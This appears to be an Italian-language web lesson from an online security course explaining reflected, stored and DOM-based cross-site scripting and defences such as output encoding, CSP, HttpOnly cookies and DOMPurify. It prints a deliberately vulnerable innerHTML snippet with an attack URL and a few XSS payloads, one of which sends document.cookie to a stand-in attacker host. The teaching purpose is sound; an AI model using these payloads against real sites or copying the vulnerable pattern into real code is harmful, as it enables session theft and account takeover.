0Pricing
Cyber Security Academy · Lezione

Cross-Site Scripting (XSS)

Esplori la XSS riflessa, memorizzata e basata sul DOM con payload reali e contromisure CSP.

Cross-Site Scripting (XSS) è una lezione Cyber Security Academy gratuita su CoddyKit. Questa è la lezione 2 di 4. Puoi leggere la lezione completa qui gratuitamente — poi esercitati direttamente nel browser con un editor di codice integrato e un tutor IA disponibile 24/7. Fa parte del percorso di apprendimento Cyber Security Academy, e i tuoi progressi si sincronizzano tra il web e l'app CoddyKit. Il corso Cyber Security Academy include 4 lezioni in totale.

Che cos'è XSS?

Cross-Site Scripting (XSS) si verifica quando un attaccante inserisce JavaScript dannoso in una pagina web visualizzata da altri utenti. Il browser esegue lo script nel contesto della sessione della vittima, consentendo il furto dei cookie, la registrazione dei tasti premuti e la manipolazione della pagina.

XSS riflesso

XSS riflesso (non persistente): lo script dannoso viene incluso nella richiesta, ad esempio come parametro dell'URL, e riflesso nella risposta. La vittima deve fare clic su un link appositamente creato. Esempio: https://site.com/search?q=<script>alert(1)</script>

XSS memorizzato

XSS memorizzato (persistente): lo script dannoso viene salvato nel database, ad esempio in un commento o in un campo del profilo, e inviato a ogni visitatore. È più pericoloso dell'XSS riflesso perché non serve alcun link speciale: ogni visualizzazione della pagina attiva lo script.

XSS basato sul DOM

XSS basato sul DOM si verifica quando JavaScript legge dati controllati dall'attaccante, come l'hash dell'URL o un parametro della query, e li scrive nel DOM senza sanificarli. L'attacco avviene interamente lato client; il server non vede mai il payload.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

Impatto dell'XSS

Azioni che un attaccante può compiere con l'XSS:

  • Rubare i cookie di sessione (document.cookie) → prendere il controllo dell'account
  • Registrare i tasti premuti (rubare le password mentre vengono digitate)
  • Reindirizzare a siti di phishing
  • Compiere azioni a nome della vittima (CSRF tramite XSS)
  • Alterare l'aspetto della pagina

Payload XSS

Payload di test semplici:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

Codifica dell'output

La difesa principale consiste nel codificare tutto l'output controllato dall'utente prima di inserirlo nell'HTML. Converta i caratteri speciali in entità HTML: < → &lt;, > → &gt;, " → &quot;.

Utilizzi una codifica appropriata al contesto: HTML, JS, URL, CSS.

Content Security Policy (CSP)

CSP è un'intestazione di risposta che indica al browser quali script possono essere eseguiti. Una CSP rigorosa blocca gli script inline e limita le origini:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

Cookie HttpOnly

Impostare il flag HttpOnly sui cookie di sessione impedisce a JavaScript di leggerli tramite document.cookie. Anche se l'XSS viene eseguito, l'attaccante non può rubare il token di sessione. Insieme alla codifica dell'output, questa è la misura di mitigazione più importante.

Librerie di sanitizzazione

Quando è necessario consentire agli utenti di inserire HTML, ad esempio negli editor di testo avanzato, utilizzi una libreria di sanitizzazione invece di scriverne una autonomamente:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

Test dell'XSS

Verifichi la presenza di XSS con gli strumenti per sviluppatori del browser, Burp Suite o scanner automatizzati. Controlli tutti i campi di input dell'utente, i parametri dell'URL, le intestazioni HTTP e le funzioni sink del DOM: innerHTML, document.write, eval, setTimeout con argomenti stringa.

Verifica rapida: XSS

Quale tipo di XSS salva il payload dannoso nel database, facendolo eseguire da ogni visitatore della pagina interessata?

Riepilogo della lezione

L'XSS inserisce JavaScript nelle pagine visualizzate dalle vittime. Tipi: riflesso (basato sull'URL), memorizzato (persistente nel database), basato sul DOM (lato client). Difese principali: codifica dell'output, cookie HttpOnly, Content Security Policy. Utilizzi DOMPurify per la sanitizzazione dell'HTML. Non inserisca mai dati dell'utente non sanificati in innerHTML o eval().

Domande Frequenti

La lezione «Cross-Site Scripting (XSS)» è gratuita?

Sì — il testo completo di «Cross-Site Scripting (XSS)» è gratuito qui sul web. Per esercitarvi in modo interattivo (un editor di codice integrato e un tutor IA 24/7) e sbloccare il resto del corso Cyber Security Academy, passa a CoddyKit PRO. Il corso Cyber Security Academy include 4 lezioni in totale.

Cosa imparerò in «Cross-Site Scripting (XSS)»?

Esplori la XSS riflessa, memorizzata e basata sul DOM con payload reali e contromisure CSP. Eserciti Cyber Security Academy con codice pratico che esegui direttamente nel browser, e un tutor IA 24/7 risponde alle tue domande mentre lavori sulla lezione.

Ho bisogno di esperienza per iniziare Cyber Security Academy?

Non è richiesta alcuna esperienza precedente. Cyber Security Academy su CoddyKit è strutturato per principianti e studenti avanzati, quindi puoi iniziare da qui o dall'inizio e procedere al tuo ritmo. Questa è la lezione 2 di 4.

Quanto tempo richiede la lezione «Cross-Site Scripting (XSS)»?

La maggior parte delle lezioni CoddyKit richiede circa 5–10 minuti. Ogni lezione è breve e interattiva, quindi fai progressi costanti e riprendi esattamente da dove hai lasciato su web e app.

Posso scrivere ed eseguire codice in questa lezione Cyber Security Academy?

Sì. Ogni lezione Cyber Security Academy include un editor di codice integrato, quindi scrivi ed esegui codice reale direttamente nel tuo browser e ricevi feedback istantaneo dall'IA — nessuna configurazione locale necessaria.

Tutte le lezioni di questo corso

  1. SQL injection: come e perché funziona
  2. Cross-Site Scripting (XSS)
  3. Cross-Site Request Forgery (CSRF)
  4. Configurazioni errate ed esposizione dei servizi
← Torna a Cyber Security Academy